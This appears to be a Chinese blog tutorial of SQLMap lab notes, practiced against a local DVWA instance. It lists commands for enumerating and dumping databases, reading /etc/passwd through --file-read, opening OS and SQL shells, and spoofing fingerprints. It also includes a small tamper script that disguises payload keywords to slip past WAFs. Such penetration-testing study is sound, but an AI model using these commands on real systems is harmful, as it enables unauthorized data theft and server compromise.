【046-WEB攻防篇】注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

知识点

1、注入工具-SQLMAP-常规猜解&字典配置

2、注入工具-SQLMAP-权限操作&文件命令

3、注入工具-SQLMAP-Tamper&使用&开发

4、注入工具-SQLMAP-调试指纹&风险等级

演示案例:

  • 数据猜解-库表列数据&字典
  • 权限操作-文件&命令&交互式
  • 提交方法-POST&HEAD&JSON
  • 绕过模块-Tamper脚本-使用&开发
  • 分析拓展-代理&调试&指纹&风险&等级

参考:

https://www.cnblogs.com/bmjoker/p/9326258.html

数据猜解-库表列数据&字典

常用语法

bash 复制代码
python sqlmap.py -h #这个是sqlmap的命令大全,不记得直接输入
-u "url" #指定 GET 请求目标地址,URL 必须英文双引号包裹
--batch #自动确认所有询问,不用手动回车,每条命令尽量带上
--data="参数=值" #POST 表单数据,如果是post请求用这个
-r 数据包.txt #导入 Burp 抓取的完整 HTTP 请求(最强推荐,自动携带 Cookie、请求头)
--cookie="key=value" #手动添加 Cookie,访问需要登录的页面
--random-agent #随机浏览器 UA,防止被 WAF 识别爬虫
--ignore-cert #忽略 HTTPS 证书报错(国外网站经常遇到)
--delay=1 #每次请求间隔 1 秒,避免请求太快被封 IP
--time-sec=数字 #时间盲注的延迟时间
--flush-session #清空当前目标的历史会话缓存

## 漏洞存在后使用的命令
--dbs #列出服务器上所有数据库
-D 库名 --tables #指定数据库,列出里面所有数据表
-D 库名 -T 表名 --columns #查看表中的字段(比如 username、password)
-D 库名 -T 表名 --dump #导出表内所有数据(脱库)
--current-db # 查看当前网站正在使用的数据库
--current-user #查看当前数据库连接账号

实战

  • 实战网站:https://sekumart.sekuripy.hr/(这个是sqlmap官方的)
    1. 先随便尝试,本人是在dvwa实践过,Windows和Linux的前置语法有细微差别。

      2. 扫到两个数据库,后面就是拿这两个数据库再扫里面的字段,不赘述
  • 在dvwa的SQLmap实战,middle难度
    1. 因为这个是需要登录的,按f12找到cookie值
  1. 找到库

  2. 看dvwa数据库存在什么表

  3. 获取表信息


权限操作-文件&命令&交互式

测试:MYSQL高权限注入

引出权限:

--is-dba #判断当前数据库账号是不是管理员(root)

--privileges #查看当前账号拥有哪些数据库权限(重点看是否有 FILE 权限)

引出文件:

--file-read #读取服务器本地文件(load_file())

--file-write="本地文件路径" --file-dest="服务器路径" #上传写入文件(into outfile)

引出命令:

--os-cmd= # 执行单条系统命令

--os-shell #获取交互式系统命令终端(最常用)

--sql-shell # 获取交互式 SQL 查询终端

实战

在dvwa的SQL注入部分用low来尝试命令。

shell 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --is-dba 

这里写了后端数据库:MySQL(MariaDB)且操作系统:Debian Linux(Kali 本机)。最重要的是:current user is DBA: True,说明是root管理员,这就有很多权限了。

bash 复制代码
 sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --privileges

这里写了有dvwa数据库的39项权限,其中有file(上传文件),super(最高权限),select(查库啥的)

bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --file-read="/etc/passwd"

拿到了文件/etc/word,在我本机的sqlmap/output/那个目录下。

后续几个写入文件,写入不了,后面在自己本地改了权限才能写入。

bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --sql-shell

SQL 交互 shell(手动写 SQL 语句)


提交方法-POST&HEAD&JSON

测试:Post Cookie Json

--data ""

--cookie ""

-r 1.txt

此部分意思就是,POST请求,URI不会传参,而get请求会,所以如果是类似下图这种的post请求,需要传data参数。然后cookie,只要需要登录的网站都需要传,-r需要结合burp suite来使用

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

--tamper=base64encode.py

--tamper=test.py

脚本

bash 复制代码
from lib.core.enums import PRIORITY
# 导入优先级常量

__priority__ = PRIORITY.LOW
# 优先级:LOW/MEDIUM/HIGH;多个tamper同时启用时,按优先级顺序执行

def dependencies():
    pass
# 依赖检测函数,检查目标环境、数据库类型,不满足就不启用脚本;空代表无限制

def tamper(payload, **kwargs):
    # 核心函数 payload:sqlmap原生生成的注入语句
    
    if payload:      
        payload = payload.replace('SELECT','sElEct') # 大小写变形
        payload = payload.replace('OR','Or')
        payload = payload.replace('AND','And')
        payload = payload.replace('SLEEP','SleeP')
        payload = payload.replace('ELT','Elt')
    return payload
    # 返回修改完成的payload给sqlmap发包

Tamper 是什么?

Tamper = SQLMap 载荷混淆脚本

作用:修改 SQLmap 发送的注入 Payload,用来绕过 WAF、网站关键词过滤。

网站防火墙会拦截 SELECT、AND、OR、SLEEP 这类关键词,tamper 脚本对 payload 变形,达到绕过效果。


bash 复制代码
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --tamper=randomcase --dbs

用这个他可以替换大小写,randomcase是官方自带随机替换payload的大小写字母的脚本。但是现代防护这个几乎没用。这种脚本可以叠加使用。

自己写的脚本,可以sqlmap 你的完整参数 --tamper="./test.py",后面的""部分是写脚本存放的位置

分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

bash 复制代码
-v=(0-6)  #详细的等级(0-6)
--proxy "http://xx:xx" #代理注入,可以放入burp suite中

-v 0 只输出关键结果(最安静)

-v 1 默认等级

-v 2 打印payload

-v 3 打印payload+请求头

-v 4 【调试tamper首选】完整HTTP请求包

-v 5 请求+完整响应包

-v 6 极致调试,打印所有底层数据包

2、打乱默认指纹:

bash 复制代码
--user-agent ""  #自定义user-agent,手动指定 UA,例如模仿 Chrome:这个和下面那个只能选一个加
--random-agent   #随机user-agent,伪装成普通浏览器,实战必加
--time-sec=(2,5) #延迟响应,默认为5

3、使用更多的测试:测试Header注入

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1

evel 1(默认):只测试 GET 参数

level 2:增加测试 Cookie

level 3:增加测试 User-Agent、Referer

level 4:更多 HTTP 头

level 5:极致全面,大量 payload,速度很慢
risk 1(默认):安全 payload,不会修改 / 删除数据(查询类)

risk 2:少量中等风险

risk 3:高危!包含 DELETE / UPDATE / DROP 破坏性 SQL

相关推荐
Highcharts.js2 小时前
如何下载使用Highcharts Grid 开发web可编辑表格
前端·人工智能·grid 表格·web 表格·在线编辑表格·highcharts表格安装·表格开发工具
某林2123 小时前
ROS2 + WebRTC + MQTT 异构系统架构
架构·系统架构·机器人·硬件架构·webrtc·ros2
用户62960593247053 小时前
从“浏览器根本区分不了”到真正实现:刷新不退出,关闭标签页自动退出,前端判断浏览器关闭和刷新
前端
qetfw3 小时前
MWU:Vue 3 + FastAPI 的 MaaFramework 跨平台 WebUI 源码
前端·vue.js·python·fastapi·开源项目·效率工具
mfxcyh3 小时前
Vue3+Ant Design Vue 实现手动异步文件上传(含大小校验、弹窗上传)
前端·javascript·vue.js
wordbaby3 小时前
Web端热敏标签打印完整解决方案(QZ Tray + 译维A42)
前端
swipe3 小时前
03|Axios 请求进了后端之后:Controller、Request、Response 是怎么接住它的?
前端·后端·全栈
meilindehuzi_a3 小时前
Vue3进阶基础:指令修饰符、v-model表单绑定、动态样式、计算属性与侦听器实战
前端·javascript·vue.js
csdn2015_3 小时前
vue 前端运行命令
前端·javascript·vue.js